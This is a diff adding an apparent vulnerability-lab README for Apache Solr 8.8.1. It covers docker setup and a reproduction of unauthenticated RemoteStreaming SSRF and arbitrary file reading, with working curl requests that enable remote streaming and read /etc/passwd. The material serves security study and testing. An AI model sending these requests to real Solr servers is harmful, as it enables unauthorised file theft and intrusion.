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+# Apache Solr RemoteStreaming Arbitrary File Reading and SSRF
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Solr is an open-source search server. When Apache Solr does not have authentication enabled, an attacker can craft a request to enable specific configurations, potentially leading to Server-Side Request Forgery (SSRF) or arbitrary file reading vulnerabilities.
+
+References:
+
+- <https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ>
+
+## Environment Setup
+
+Execute the following command to start an Apache Solr 8.8.1 server:
+
+```
+docker compose up -d
+```
+
+After the server starts, you can access the Apache Solr management interface at `http://your-ip:8983/`.
+
+## Vulnerability Reproduction
+
+First, visit `http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json` to extract the database name:
+
+![](1.png)
+
+Send the following request to modify the configuration of the `demo` core and enable `RemoteStreaming`:
+
+```
+curl -i -s -k -X $'POST' \
+     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
+     $'http://your-ip:8983/solr/demo/config'
+```
+
+![](2.png)
+
+Then, you can read arbitrary files through the `stream.url` parameter:
+
+```
+curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
+```
+
+![](3.png)